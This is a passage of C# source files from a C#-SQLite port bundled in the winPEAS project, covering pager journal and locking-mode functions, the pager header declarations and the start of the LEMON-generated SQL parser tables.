pPager, int eMode) { Debug.Assert(eMode == PAGER_LOCKINGMODE_QUERY || eMode == PAGER_LOCKINGMODE_NORMAL || eMode == PAGER_LOCKINGMODE_EXCLUSIVE); Debug.Assert(PAGER_LOCKINGMODE_QUERY < 0); Debug.Assert(PAGER_LOCKINGMODE_NORMAL >= 0 && PAGER_LOCKINGMODE_EXCLUSIVE >= 0); if (eMode >= 0 && !pPager.tempFile) { pPager.exclusiveMode = eMode != 0; } return pPager.exclusiveMode; } /* ** Get/set the journal-mode for this pager. Parameter eMode must be one of: ** ** PAGER_JOURNALMODE_QUERY ** PAGER_JOURNALMODE_DELETE ** PAGER_JOURNALMODE_TRUNCATE ** PAGER_JOURNALMODE_PERSIST ** PAGER_JOURNALMODE_OFF ** PAGER_JOURNALMODE_MEMORY ** ** If the parameter is not _QUERY, then the journal_mode is set to the ** value specified if the change is allowed. The change is disallowed ** for the following reasons: ** ** * An in-memory database can only have its journal_mode set to _OFF ** or _MEMORY. ** ** * The journal mode may not be changed while a transaction is active. ** ** The returned indicate the current (possibly updated) journal-mode. */ static int sqlite3PagerJournalMode(Pager pPager, int eMode) { Debug.Assert(eMode == PAGER_JOURNALMODE_QUERY || eMode == PAGER_JOURNALMODE_DELETE || eMode == PAGER_JOURNALMODE_TRUNCATE || eMode == PAGER_JOURNALMODE_PERSIST || eMode == PAGER_JOURNALMODE_OFF || eMode == PAGER_JOURNALMODE_MEMORY); Debug.Assert(PAGER_JOURNALMODE_QUERY < 0); if (eMode >= 0 && ( #if SQLITE_OMIT_MEMORYDB 0==MEMDB #else 0 == pPager.memDb #endif || eMode == PAGER_JOURNALMODE_MEMORY || eMode == PAGER_JOURNALMODE_OFF) && !pPager.dbModified && (!isOpen(pPager.jfd) || 0 == pPager.journalOff) ) { if (isOpen(pPager.jfd)) { sqlite3OsClose(pPager.jfd); } pPager.journalMode = (u8)eMode; } return (int)pPager.journalMode; } /* ** Get/set the size-limit used for persistent journal files. ** ** Setting the size limit to -1 means no limit is enforced. ** An attempt to set a limit smaller than -1 is a no-op. */ static i64 sqlite3PagerJournalSizeLimit(Pager pPager, i64 iLimit) { if (iLimit >= -1) { pPager.journalSizeLimit = iLimit; } return pPager.journalSizeLimit; } /* ** Return a pointer to the pPager.pBackup variable. The backup module ** in backup.c maintains the content of this variable. This module ** uses it opaquely as an argument to sqlite3BackupRestart() and ** sqlite3BackupUpdate() only. */ static sqlite3_backup sqlite3PagerBackupPtr(Pager pPager) { return pPager.pBackup; } #endif // * SQLITE_OMIT_DISKIO */ } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/pager_h.cs ================================================ using Pgno = System.UInt32; namespace winPEAS._3rdParty.SQLite.src { public partial class CSSQLite { /* ** 2001 September 15 ** ** The author disclaims copyright to this source code. In place of ** a legal notice, here is a blessing: ** ** May you do good and not evil. ** May you find forgiveness for yourself and forgive others. ** May you share freely, never taking more than you give. ** ************************************************************************* ** This header file defines the interface that the sqlite page cache ** subsystem. The page cache subsystem reads and writes a file a page ** at a time and provides a journal for rollback. ** ** @(#) $Id: pager.h,v 1.104 2009/07/24 19:01:19 drh Exp $ ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ //#if !_PAGER_H_ //#define _PAGER_H_ /* ** Default maximum size for persistent journal files. A negative ** value means no limit. This value may be overridden using the ** sqlite3PagerJournalSizeLimit() API. See also "PRAGMA journal_size_limit". */ #if !SQLITE_DEFAULT_JOURNAL_SIZE_LIMIT const int SQLITE_DEFAULT_JOURNAL_SIZE_LIMIT = -1;//#define SQLITE_DEFAULT_JOURNAL_SIZE_LIMIT -1 #endif /* ** The type used to represent a page number. The first page in a file ** is called page 1. 0 is used to represent "not a page". */ //typedef u32 Pgno; /* ** Each open file is managed by a separate instance of the "Pager" structure. */ //typedef struct Pager Pager; /* ** Handle type for pages. */ //typedef struct PgHdr DbPage; /* ** Page number PAGER_MJ_PGNO is never used in an SQLite database (it is ** reserved for working around a windows/posix incompatibility). It is ** used in the journal to signify that the remainder of the journal file ** is devoted to storing a master journal name - there are no more pages to ** roll back. See comments for function writeMasterJournal() in pager.c ** for details. */ //#define PAGER_MJ_PGNO(x) ((Pgno)((PENDING_BYTE/((x)->pageSize))+1)) static Pgno PAGER_MJ_PGNO( Pager x ) { return ( (Pgno)( ( PENDING_BYTE / ( ( x ).pageSize ) ) + 1 ) ); } /* ** Allowed values for the flags parameter to sqlite3PagerOpen(). ** ** NOTE: These values must match the corresponding BTREE_ values in btree.h. */ //#define PAGER_OMIT_JOURNAL 0x0001 /* Do not use a rollback journal */ //#define PAGER_NO_READLOCK 0x0002 /* Omit readlocks on readonly files */ const int PAGER_OMIT_JOURNAL = 0x0001; /* Do not use a rollback journal */ const int PAGER_NO_READLOCK = 0x0002; /* Omit readlocks on readonly files */ /* ** Valid values for the second argument to sqlite3PagerLockingMode(). */ //#define PAGER_LOCKINGMODE_QUERY -1 //#define PAGER_LOCKINGMODE_NORMAL 0 //#define PAGER_LOCKINGMODE_EXCLUSIVE 1 static int PAGER_LOCKINGMODE_QUERY = -1; static int PAGER_LOCKINGMODE_NORMAL = 0; static int PAGER_LOCKINGMODE_EXCLUSIVE = 1; /* ** Valid values for the second argument to sqlite3PagerJournalMode(). */ //#define PAGER_JOURNALMODE_QUERY -1 //#define PAGER_JOURNALMODE_DELETE 0 /* Commit by deleting journal file */ //#define PAGER_JOURNALMODE_PERSIST 1 /* Commit by zeroing journal header */ //#define PAGER_JOURNALMODE_OFF 2 /* Journal omitted. */ //#define PAGER_JOURNALMODE_TRUNCATE 3 /* Commit by truncating journal */ //#define PAGER_JOURNALMODE_MEMORY 4 /* In-memory journal file */ const int PAGER_JOURNALMODE_QUERY = -1; const int PAGER_JOURNALMODE_DELETE = 0; /* Commit by deleting journal file */ const int PAGER_JOURNALMODE_PERSIST = 1; /* Commit by zeroing journal header */ const int PAGER_JOURNALMODE_OFF = 2; /* Journal omitted. */ const int PAGER_JOURNALMODE_TRUNCATE = 3;/* Commit by truncating journal */ const int PAGER_JOURNALMODE_MEMORY = 4;/* In-memory journal file */ /* ** The remainder of this file contains the declarations of the functions ** that make up the Pager sub-system API. See source code comments for ** a detailed description of each routine. */ /* Open and close a Pager connection. */ //int sqlite3PagerOpen( // sqlite3_vfs*, // Pager **ppPager, // const char*, // int, // int, // int, //// void(*)(DbPage*) //); //int sqlite3PagerClose(Pager *pPager); //int sqlite3PagerReadFileheader(Pager*, int, unsigned char*); /* Functions used to configure a Pager object. */ //void sqlite3PagerSetBusyhandler(Pager*, int(*)(void *), void *); //int sqlite3PagerSetPagesize(Pager*, u16*, int); //int sqlite3PagerMaxPageCount(Pager*, int); //void sqlite3PagerSetCachesize(Pager*, int); //void sqlite3PagerSetSafetyLevel(Pager*,int,int); //int sqlite3PagerLockingMode(Pager *, int); //int sqlite3PagerJournalMode(Pager *, int); //i64 sqlite3PagerJournalSizeLimit(Pager *, i64); //sqlite3_backup **sqlite3PagerBackupPtr(Pager*); /* Functions used to obtain and release page references. */ //int sqlite3PagerAcquire(Pager *pPager, Pgno pgno, DbPage **ppPage, int clrFlag); //#define sqlite3PagerGet(A,B,C) sqlite3PagerAcquire(A,B,C,0) //DbPage *sqlite3PagerLookup(Pager *pPager, Pgno pgno); //void sqlite3PagerRef(DbPage*); //void sqlite3PagerUnref(DbPage*); /* Operations on page references. */ //int sqlite3PagerWrite(DbPage*); //void sqlite3PagerDontWrite(DbPage*); //int sqlite3PagerMovepage(Pager*,DbPage*,Pgno,int); //int sqlite3PagerPageRefcount(DbPage*); //void *sqlite3PagerGetData(DbPage *); //void *sqlite3PagerGetExtra(DbPage *); /* Functions used to manage pager transactions and savepoints. */ //int sqlite3PagerPagecount(Pager*, int*); //int sqlite3PagerBegin(Pager*, int exFlag, int); //int sqlite3PagerCommitPhaseOne(Pager*,const char *zMaster, int); //int sqlite3PagerSync(Pager *pPager); //int sqlite3PagerCommitPhaseTwo(Pager*); //int sqlite3PagerRollback(Pager*); //int sqlite3PagerOpenSavepoint(Pager *pPager, int n); //int sqlite3PagerSavepoint(Pager *pPager, int op, int iSavepoint); //int sqlite3PagerSharedLock(Pager *pPager); /* Functions used to query pager state and configuration. */ //u8 sqlite3PagerIsreadonly(Pager*); //int sqlite3PagerRefcount(Pager*); //const char *sqlite3PagerFilename(Pager*); //const sqlite3_vfs *sqlite3PagerVfs(Pager*); //sqlite3_file *sqlite3PagerFile(Pager*); //const char *sqlite3PagerJournalname(Pager*); //int sqlite3PagerNosync(Pager*); //void *sqlite3PagerTempSpace(Pager*); //int sqlite3PagerIsMemdb(Pager*); /* Functions used to truncate the database file. */ //void sqlite3PagerTruncateImage(Pager*,Pgno); /* Functions to support testing and debugging. */ //#if !NDEBUG || SQLITE_TEST // Pgno sqlite3PagerPagenumber(DbPage*); // int sqlite3PagerIswriteable(DbPage*); //#endif //#if SQLITE_TEST // int *sqlite3PagerStats(Pager*); // void sqlite3PagerRefdump(Pager*); // void disable_simulated_io_errors(void); // void enable_simulated_io_errors(void); //#else //# define disable_simulated_io_errors() //# define enable_simulated_io_errors() //#endif } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/SQLite/src/parse_c.cs ================================================ #define YYFALLBACK #define YYWILDCARD using System.Diagnostics; using u8 = System.Byte; using YYCODETYPE = System.Int32; using YYACTIONTYPE = System.Int32; namespace winPEAS._3rdParty.SQLite.src { using sqlite3ParserTOKENTYPE = CSSQLite.Token; public partial class CSSQLite { /* ** ************************************************************************* ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart ** C#-SQLite is an independent reimplementation of the SQLite software library ** ** $Header$ ************************************************************************* */ /* Driver template for the LEMON parser generator. ** The author disclaims copyright to this source code. ** ** This version of "lempar.c" is modified, slightly, for use by SQLite. ** The only modifications are the addition of a couple of NEVER() ** macros to disable tests that are needed in the case of a general ** LALR(1) grammar but which are always false in the ** specific grammar used by SQLite. */ /* First off, code is included that follows the "include" declaration ** in the input grammar file. */ //#include //#line 53 "parse.y" //#include "sqliteInt.h" /* ** Disable all error recovery processing in the parser push-down ** automaton. */ //#define YYNOERRORRECOVERY 1 const int YYNOERRORRECOVERY = 1; /* ** Make yytestcase() the same as testcase() */ //#define yytestcase(X) testcase(X) static void yytestcase(T X) { testcase(X); } /* ** An instance of this structure holds information about the ** LIMIT clause of a SELECT statement. */ public struct LimitVal { public Expr pLimit; /* The LIMIT expression. NULL if there is no limit */ public Expr pOffset; /* The OFFSET expression. NULL if there is none */ }; /* ** An instance of this structure is used to store the LIKE, ** GLOB, NOT LIKE, and NOT GLOB operators. */ public struct LikeOp { public Token eOperator; /* "like" or "glob" or "regexp" */ public bool not; /* True if the NOT keyword is present */ }; /* ** An instance of the following structure describes the event of a ** TRIGGER. "a" is the event type, one of TK_UPDATE, TK_INSERT, ** TK_DELETE, or TK_INSTEAD. If the event is of the form ** ** UPDATE ON (a,b,c) ** ** Then the "b" IdList records the list "a,b,c". */ #if !SQLITE_OMIT_TRIGGER public struct TrigEvent { public int a; public IdList b; }; #endif /* ** An instance of this structure holds the ATTACH key and the key type. */ public struct AttachKey { public int type; public Token key; }; //#line 723 "parse.y" /* This is a utility routine used to set the ExprSpan.zStart and ** ExprSpan.zEnd values of pOut so that the span covers the complete ** range of text beginning with pStart and going to the end of pEnd. */ static void spanSet(ExprSpan pOut, Token pStart, Token pEnd) { pOut.zStart = pStart.z; pOut.zEnd = pEnd.z.Substring(pEnd.n); } /* Construct a new Expr object from a single identifier. Use the ** new Expr to populate pOut. Set the span of pOut to be the identifier ** that created the expression. */ static void spanExpr(ExprSpan pOut, Parse pParse, int op, Token pValue) { pOut.pExpr = sqlite3PExpr(pParse, op, 0, 0, pValue); pOut.zStart = pValue.z; pOut.zEnd = pValue.z.Substring(pValue.n); } //#line 818 "parse.y" /* This routine constructs a binary expression node out of two ExprSpan ** objects and uses the result to populate a new ExprSpan object. */ static void spanBinaryExpr( ExprSpan pOut, /* Write the result here */ Parse pParse, /* The parsing context. Errors accumulate here */ int op, /* The binary operation */ ExprSpan pLeft, /* The left operand */ ExprSpan pRight /* The right operand */ ) { pOut.pExpr = sqlite3PExpr(pParse, op, pLeft.pExpr, pRight.pExpr, 0); pOut.zStart = pLeft.zStart; pOut.zEnd = pRight.zEnd; } //#line 870 "parse.y" /* Construct an expression node for a unary postfix operator */ static void spanUnaryPostfix( ExprSpan pOut, /* Write the new expression node here */ Parse pParse, /* Parsing context to record errors */ int op, /* The operator */ ExprSpan pOperand, /* The operand */ Token pPostOp /* The operand token for setting the span */ ) { pOut.pExpr = sqlite3PExpr(pParse, op, pOperand.pExpr, 0, 0); pOut.zStart = pOperand.zStart; pOut.zEnd = pPostOp.z.Substring(pPostOp.n); } //#line 892 "parse.y" /* Construct an expression node for a unary prefix operator */ static void spanUnaryPrefix( ExprSpan pOut, /* Write the new expression node here */ Parse pParse, /* Parsing context to record errors */ int op, /* The operator */ ExprSpan pOperand, /* The operand */ Token pPreOp /* The operand token for setting the span */ ) { pOut.pExpr = sqlite3PExpr(pParse, op, pOperand.pExpr, 0, 0); pOut.zStart = pPreOp.z; pOut.zEnd = pOperand.zEnd; } //#line 129 "parse.c" /* Next is all token values, in a form suitable for use by makeheaders. ** This section will be null unless lemon is run with the -m switch. */ /* ** These constants (all generated automatically by the parser generator) ** specify the various kinds of tokens (terminals) that the parser ** understands. ** ** Each symbol here is a terminal symbol in the grammar. */ /* Make sure the INTERFACE macro is defined. */ #if !INTERFACE //# define INTERFACE 1 #endif /* The next thing included is series of defines which control ** various aspects of the generated parser. ** YYCODETYPE is the data type used for storing terminal ** and nonterminal numbers. "unsigned char" is ** used if there are fewer than 250 terminals ** and nonterminals. "int" is used otherwise. ** YYNOCODE is a number of type YYCODETYPE which corresponds ** to no legal terminal or nonterminal number. This ** number is used to fill in empty slots of the hash ** table. ** YYFALLBACK If defined, this indicates that one or more tokens ** have fall-back values which should be used if the ** original value of the token will not parse. ** YYACTIONTYPE is the data type used for storing terminal ** and nonterminal numbers. "unsigned char" is ** used if there are fewer than 250 rules and ** states combined. "int" is used otherwise. ** sqlite3ParserTOKENTYPE is the data type used for minor tokens given ** directly to the parser from the tokenizer. ** YYMINORTYPE is the data type used for all minor tokens. ** This is typically a union of many types, one of ** which is sqlite3ParserTOKENTYPE. The entry in the union ** for base tokens is called "yy0". ** YYSTACKDEPTH is the maximum depth of the parser's stack. If ** zero the stack is dynamically sized using realloc() ** sqlite3ParserARG_SDECL A static variable declaration for the %extra_argument ** sqlite3ParserARG_PDECL A parameter declaration for the %extra_argument ** sqlite3ParserARG_STORE Code to store %extra_argument into yypParser ** sqlite3ParserARG_FETCH Code to extract %extra_argument from yypParser ** YYNSTATE the combined number of states. ** YYNRULE the number of rules in the grammar ** YYERRORSYMBOL is the code number of the error symbol. If not ** defined, then do no error processing. */ //#define YYCODETYPE unsigned short char const int YYNOCODE = 254; //#define YYACTIONTYPE unsigned short int const int YYWILDCARD = 65; //#define sqlite3ParserTOKENTYPE Token public class YYMINORTYPE { public int yyinit; public sqlite3ParserTOKENTYPE yy0 = new sqlite3ParserTOKENTYPE(); public Select yy3; public ExprList yy14; public SrcList yy65; public LikeOp yy96; public Expr yy132; public u8 yy186; public int yy328; public ExprSpan yy346 = new ExprSpan(); #if !SQLITE_OMIT_TRIGGER public TrigEvent yy378; #endif public IdList yy408; public struct _yy429 { public int value; public int mask;}public _yy429 yy429; #if !SQLITE_OMIT_TRIGGER public TriggerStep yy473; #endif public LimitVal yy476; } #if !YYSTACKDEPTH const int YYSTACKDEPTH = 100; #endif //#define sqlite3ParserARG_SDECL Parse pParse; //#define sqlite3ParserARG_PDECL ,Parse pParse //#define sqlite3ParserARG_FETCH Parse pParse = yypParser.pParse //#define sqlite3ParserARG_STORE yypParser.pParse = pParse const int YYNSTATE = 629; const int YYNRULE = 329; //#define YYFALLBACK const int YY_NO_ACTION = (YYNSTATE + YYNRULE + 2); const int YY_ACCEPT_ACTION = (YYNSTATE + YYNRULE + 1); const int YY_ERROR_ACTION = (YYNSTATE + YYNRULE); /* The yyzerominor constant is used to initialize instances of ** YYMINORTYPE objects to zero. */ YYMINORTYPE yyzerominor = new YYMINORTYPE();//static const YYMINORTYPE yyzerominor = { 0 }; /* Define the yytestcase() macro to be a no-op if is not already defined ** otherwise. ** ** Applications can choose to define yytestcase() in the %include section ** to a macro that can assist in verifying code coverage. For production ** code the yytestcase() macro should be turned off. But it is useful ** for testing. */ //#if !yytestcase //# define yytestcase(X) //#endif /* Next are the tables used to determine what action to take based on the ** current state and lookahead token. These tables are used to implement ** functions that take a state number and lookahead value and return an ** action integer. ** ** Suppose the action integer is N. Then the action is determined as ** follows ** ** 0 <= N < YYNSTATE Shift N. That is, push the lookahead ** token onto the stack and goto state N. ** ** YYNSTATE <= N < YYNSTATE+YYNRULE Reduce by rule N-YYNSTATE. ** ** N == YYNSTATE+YYNRULE A syntax error has occurred. ** ** N == YYNSTATE+YYNRULE+1 The parser accepts its input. ** ** N == YYNSTATE+YYNRULE+2 No such action. Denotes unused ** slots in the yy_action[] table. ** ** The action table is constructed as a single large table named yy_action[]. ** Given state S and lookahead X, the action is computed as ** ** yy_action[ yy_shift_ofst[S] + X ] ** ** If the index value yy_shift_ofst[S]+X is out of range or if the value ** yy_lookahead[yy_shift_ofst[S]+X] is not equal to X or if yy_shift_ofst[S] ** is equal to YY_SHIFT_USE_DFLT, it means that the action is not in the table ** and that yy_default[S] should be used instead. ** ** The formula above is for computing the action when the lookahead is ** a terminal symbol. If the lookahead is a non-terminal (as occurs after ** a reduce action) then the yy_reduce_ofst[] array is used in place of ** the yy_shift_ofst[] array and YY_REDUCE_USE_DFLT is used in place of ** YY_SHIFT_USE_DFLT. ** ** The following are the tables generated in this section: ** ** yy_action[] A single table containing all actions. ** yy_lookahead[] A table containing the lookahead for each entry in ** yy_action. Used to detect hash collisions. ** yy_shift_ofst[] For each state, the offset into yy_action for ** shifting terminals. ** yy_reduce_ofst[] For each state, the offset into yy_action for ** shifting non-terminals after a reduce. ** yy_default[] Default action for each state. */ static YYACTIONTYPE[] yy_action = new YYACTIONTYPE[]{ /* 0 */ 309, 959, 178, 628, 2, 153, 216, 448, 24, 24, /* 10 */ 24, 24, 497, 26, 26, 26, 26, 27, 27, 28, /* 20 */ 28, 28, 29, 218, 422, 423, 214, 422, 423, 455, /* 30 */ 461, 31, 26, 26, 26, 26, 27, 27, 28, 28, /* 40 */ 28, 29, 218, 30, 492, 32, 137, 23, 22, 315, /* 50 */ 465, 466, 462, 462, 25, 25, 24, 24, 24, 24, /* 60 */ 445, 26, 26, 26, 26, 27, 27, 28, 28, 28, /* 70 */ 29, 218, 309, 218, 318, 448, 521, 499, 45, 26, /* 80 */ 26, 26, 26, 27, 27, 28, 28, 28, 29, 218, /* 90 */ 422, 423, 425, 426, 159, 425, 426, 366, 369, 370, /* 100 */ 318, 455, 461, 394, 523, 21, 188, 504, 371, 27, /* 110 */ 27, 28, 28, 28, 29, 218, 422, 423, 424, 23, /* 120 */ 22, 315, 465, 466, 462, 462, 25, 25, 24, 24, /* 130 */ 24, 24, 564, 26, 26, 26, 26, 27, 27, 28, /* 140 */ 28, 28, 29, 218, 309, 230, 513, 138, 477, 220, /* 150 */ 557, 148, 135, 260, 364, 265, 365, 156, 425, 426, /* 160 */ 245, 610, 337, 30, 269, 32, 137, 448, 608, 609, /* 170 */ 233, 230, 499, 455, 461, 57, 515, 334, 135, 260, /* 180 */ 364, 265, 365, 156, 425, 426, 444, 78, 417, 414, /* 190 */ 269, 23, 22, 315, 465, 466, 462, 462, 25, 25, /* 200 */ 24, 24, 24, 24, 348, 26, 26, 26, 26, 27, /* 210 */ 27, 28, 28, 28, 29, 218, 309, 216, 543, 556, /* 220 */ 486, 130, 498, 607, 30, 337, 32, 137, 351, 396, /* 230 */ 438, 63, 337, 361, 424, 448, 487, 337, 424, 544, /* 240 */ 334, 217, 195, 606, 605, 455, 461, 334, 18, 444, /* 250 */ 85, 488, 334, 347, 192, 565, 444, 78, 316, 472, /* 260 */ 473, 444, 85, 23, 22, 315, 465, 466, 462, 462, /* 270 */ 25, 25, 24, 24, 24, 24, 445, 26, 26, 26, /* 280 */ 26, 27, 27, 28, 28, 28, 29, 218, 309, 353, /* 290 */ 223, 320, 607, 193, 238, 337, 481, 16, 351, 185, /* 300 */ 330, 419, 222, 350, 604, 219, 215, 424, 112, 337, /* 310 */ 334, 157, 606, 408, 213, 563, 538, 455, 461, 444, /* 320 */ 79, 219, 562, 524, 334, 576, 522, 629, 417, 414, /* 330 */ 450, 581, 441, 444, 78, 23, 22, 315, 465, 466, /* 340 */ 462, 462, 25, 25, 24, 24, 24, 24, 445, 26, /* 350 */ 26, 26, 26, 27, 27, 28, 28, 28, 29, 218, /* 360 */ 309, 452, 452, 452, 159, 399, 311, 366, 369, 370, /* 370 */ 337, 251, 404, 407, 219, 355, 556, 4, 371, 422, /* 380 */ 423, 397, 286, 285, 244, 334, 540, 566, 63, 455, /* 390 */ 461, 424, 216, 478, 444, 93, 28, 28, 28, 29, /* 400 */ 218, 413, 477, 220, 578, 40, 545, 23, 22, 315, /* 410 */ 465, 466, 462, 462, 25, 25, 24, 24, 24, 24, /* 420 */ 582, 26, 26, 26, 26, 27, 27, 28, 28, 28, /* 430 */ 29, 218, 309, 546, 337, 30, 517, 32, 137, 378, /* 440 */ 326, 337, 874, 153, 194, 448, 1, 425, 426, 334, /* 450 */ 422, 423, 422, 423, 29, 218, 334, 613, 444, 71, /* 460 */ 210, 455, 461, 66, 581, 444, 93, 422, 423, 626, /* 470 */ 949, 303, 949, 500, 479, 555, 202, 43, 445, 23, /* 480 */ 22, 315, 465, 466, 462, 462, 25, 25, 24, 24, /* 490 */ 24, 24, 436, 26, 26, 26, 26, 27, 27, 28, /* 500 */ 28, 28, 29, 218, 309, 187, 211, 360, 520, 440, /* 510 */ 246, 327, 622, 448, 397, 286, 285, 551, 425, 426, /* 520 */ 425, 426, 334, 159, 337, 216, 366, 369, 370, 494, /* 530 */ 556, 444, 9, 455, 461, 425, 426, 371, 495, 334, /* 540 */ 445, 618, 63, 504, 198, 424, 501, 449, 444, 72, /* 550 */ 474, 23, 22, 315, 465, 466, 462, 462, 25, 25, /* 560 */ 24, 24, 24, 24, 395, 26, 26, 26, 26, 27, /* 570 */ 27, 28, 28, 28, 29, 218, 309, 486, 445, 337, /* 580 */ 537, 60, 224, 479, 343, 202, 398, 337, 439, 554, /* 590 */ 199, 140, 337, 487, 334, 526, 527, 551, 516, 508, /* 600 */ 456, 457, 334, 444, 67, 455, 461, 334, 488, 476, /* 610 */ 528, 444, 76, 39, 424, 41, 444, 97, 579, 527, /* 620 */ 529, 459, 460, 23, 22, 315, 465, 466, 462, 462, /* 630 */ 25, 25, 24, 24, 24, 24, 337, 26, 26, 26, /* 640 */ 26, 27, 27, 28, 28, 28, 29, 218, 309, 337, /* 650 */ 458, 334, 272, 621, 307, 337, 312, 337, 374, 64, /* 660 */ 444, 96, 317, 448, 334, 342, 472, 473, 469, 337, /* 670 */ 334, 508, 334, 444, 101, 359, 252, 455, 461, 444, /* 680 */ 99, 444, 104, 358, 334, 345, 424, 340, 157, 468, /* 690 */ 468, 424, 493, 444, 105, 23, 22, 315, 465, 466, /* 700 */ 462, 462, 25, 25, 24, 24, 24, 24, 337, 26, /* 710 */ 26, 26, 26, 27, 27, 28, 28, 28, 29, 218, /* 720 */ 309, 337, 181, 334, 499, 56, 139, 337, 219, 268, /* 730 */ 384, 448, 444, 129, 382, 387, 334, 168, 337, 389, /* 740 */ 508, 424, 334, 311, 424, 444, 131, 496, 269, 455, /* 750 */ 461, 444, 59, 334, 424, 424, 391, 340, 8, 468, /* 760 */ 468, 263, 444, 102, 390, 290, 321, 23, 22, 315, /* 770 */ 465, 466, 462, 462, 25, 25, 24, 24, 24, 24, /* 780 */ 337, 26, 26, 26, 26, 27, 27, 28, 28, 28, /* 790 */ 29, 218, 309, 337, 138, 334, 416, 2, 268, 337, /* 800 */ 389, 337, 443, 325, 444, 77, 442, 293, 334, 291, /* 810 */ 7, 482, 337, 424, 334, 424, 334, 444, 100, 499, /* 820 */ 339, 455, 461, 444, 68, 444, 98, 334, 254, 504, /* 830 */ 232, 626, 948, 504, 948, 231, 444, 132, 47, 23, /* 840 */ 22, 315, 465, 466, 462, 462, 25, 25, 24, 24, /* 850 */ 24, 24, 337, 26, 26, 26, 26, 27, 27, 28, /* 860 */ 28, 28, 29, 218, 309, 337, 280, 334, 256, 538, /* 870 */ 362, 337, 258, 268, 622, 549, 444, 133, 203, 140, /* 880 */ 334, 424, 548, 337, 180, 158, 334, 292, 424, 444, /* 890 */ 134, 287, 552, 455, 461, 444, 69, 443, 334, 463, /* 900 */ 340, 442, 468, 468, 427, 428, 429, 444, 80, 281, /* 910 */ 322, 23, 33, 315, 465, 466, 462, 462, 25, 25, /* 920 */ 24, 24, 24, 24, 337, 26, 26, 26, 26, 27, /* 930 */ 27, 28, 28, 28, 29, 218, 309, 337, 406, 334, /* 940 */ 212, 268, 550, 337, 268, 389, 329, 177, 444, 81, /* 950 */ 542, 541, 334, 475, 475, 337, 424, 216, 334, 424, /* 960 */ 424, 444, 70, 535, 368, 455, 461, 444, 82, 405, /* 970 */ 334, 261, 392, 340, 445, 468, 468, 587, 323, 444, /* 980 */ 83, 324, 262, 288, 22, 315, 465, 466, 462, 462, /* 990 */ 25, 25, 24, 24, 24, 24, 337, 26, 26, 26, /* 1000 */ 26, 27, 27, 28, 28, 28, 29, 218, 309, 337, /* 1010 */ 211, 334, 294, 356, 340, 337, 468, 468, 532, 533, /* 1020 */ 444, 84, 403, 144, 334, 574, 600, 337, 424, 573, /* 1030 */ 334, 337, 420, 444, 86, 253, 234, 455, 461, 444, /* 1040 */ 87, 430, 334, 383, 445, 431, 334, 274, 196, 331, /* 1050 */ 424, 444, 88, 432, 145, 444, 73, 315, 465, 466, /* 1060 */ 462, 462, 25, 25, 24, 24, 24, 24, 395, 26, /* 1070 */ 26, 26, 26, 27, 27, 28, 28, 28, 29, 218, /* 1080 */ 35, 344, 445, 3, 337, 394, 337, 333, 423, 278, /* 1090 */ 388, 276, 280, 207, 147, 35, 344, 341, 3, 334, /* 1100 */ 424, 334, 333, 423, 308, 623, 280, 424, 444, 74, /* 1110 */ 444, 89, 341, 337, 6, 346, 338, 337, 421, 337, /* 1120 */ 470, 424, 65, 332, 280, 481, 446, 445, 334, 247, /* 1130 */ 346, 424, 334, 424, 334, 594, 280, 444, 90, 424, /* 1140 */ 481, 444, 91, 444, 92, 38, 37, 625, 337, 410, /* 1150 */ 47, 424, 237, 280, 36, 335, 336, 354, 248, 450, /* 1160 */ 38, 37, 514, 334, 572, 381, 572, 596, 424, 36, /* 1170 */ 335, 336, 444, 75, 450, 200, 506, 216, 154, 597, /* 1180 */ 239, 240, 241, 146, 243, 249, 547, 593, 158, 433, /* 1190 */ 452, 452, 452, 453, 454, 10, 598, 280, 20, 46, /* 1200 */ 174, 412, 298, 337, 424, 452, 452, 452, 453, 454, /* 1210 */ 10, 299, 424, 35, 344, 352, 3, 250, 334, 434, /* 1220 */ 333, 423, 337, 172, 280, 581, 208, 444, 17, 171, /* 1230 */ 341, 19, 173, 447, 424, 422, 423, 334, 337, 424, /* 1240 */ 235, 280, 204, 205, 206, 42, 444, 94, 346, 435, /* 1250 */ 136, 451, 221, 334, 308, 624, 424, 349, 481, 490, /* 1260 */ 445, 152, 444, 95, 424, 424, 424, 236, 503, 491, /* 1270 */ 507, 179, 424, 481, 424, 402, 295, 285, 38, 37, /* 1280 */ 271, 310, 158, 424, 296, 424, 216, 36, 335, 336, /* 1290 */ 509, 266, 450, 190, 191, 539, 267, 625, 558, 273, /* 1300 */ 275, 48, 277, 522, 279, 424, 424, 450, 255, 409, /* 1310 */ 424, 424, 257, 424, 424, 424, 284, 424, 386, 424, /* 1320 */ 357, 584, 585, 452, 452, 452, 453, 454, 10, 259, /* 1330 */ 393, 424, 289, 424, 592, 603, 424, 424, 452, 452, /* 1340 */ 452, 297, 300, 301, 505, 424, 617, 424, 363, 424, /* 1350 */ 424, 373, 577, 158, 158, 511, 424, 424, 424, 525, /* 1360 */ 588, 424, 154, 589, 601, 54, 54, 620, 512, 306, /* 1370 */ 319, 530, 531, 535, 264, 107, 228, 536, 534, 375, /* 1380 */ 559, 304, 560, 561, 305, 227, 229, 553, 567, 161, /* 1390 */ 162, 379, 377, 163, 51, 209, 569, 282, 164, 570, /* 1400 */ 385, 143, 580, 116, 119, 183, 400, 590, 401, 121, /* 1410 */ 122, 123, 124, 126, 599, 328, 614, 55, 58, 615, /* 1420 */ 616, 619, 62, 418, 103, 226, 111, 176, 242, 182, /* 1430 */ 437, 313, 201, 314, 670, 671, 672, 149, 150, 467, /* 1440 */ 464, 34, 483, 471, 480, 184, 197, 502, 484, 5, /* 1450 */ 485, 151, 489, 44, 141, 11, 106, 160, 225, 518, /* 1460 */ 519, 49, 510, 108, 367, 270, 12, 155, 109, 50, /* 1470 */ 110, 262, 376, 186, 568, 113, 142, 154, 165, 115, /* 1480 */ 15, 283, 583, 166, 167, 380, 586, 117, 13, 120, /* 1490 */ 372, 52, 53, 118, 591, 169, 114, 170, 595, 125, /* 1500 */ 127, 571, 575, 602, 14, 128, 611, 612, 61, 175, /* 1510 */ 189, 415, 302, 627, 960, 960, 960, 960, 411, }; static YYCODETYPE[] yy_lookahead = new YYCODETYPE[]{ /* 0 */ 19, 142, 143, 144, 145, 24, 116, 26, 75, 76, /* 10 */ 77, 78, 25, 80, 81, 82, 83, 84, 85, 86, /* 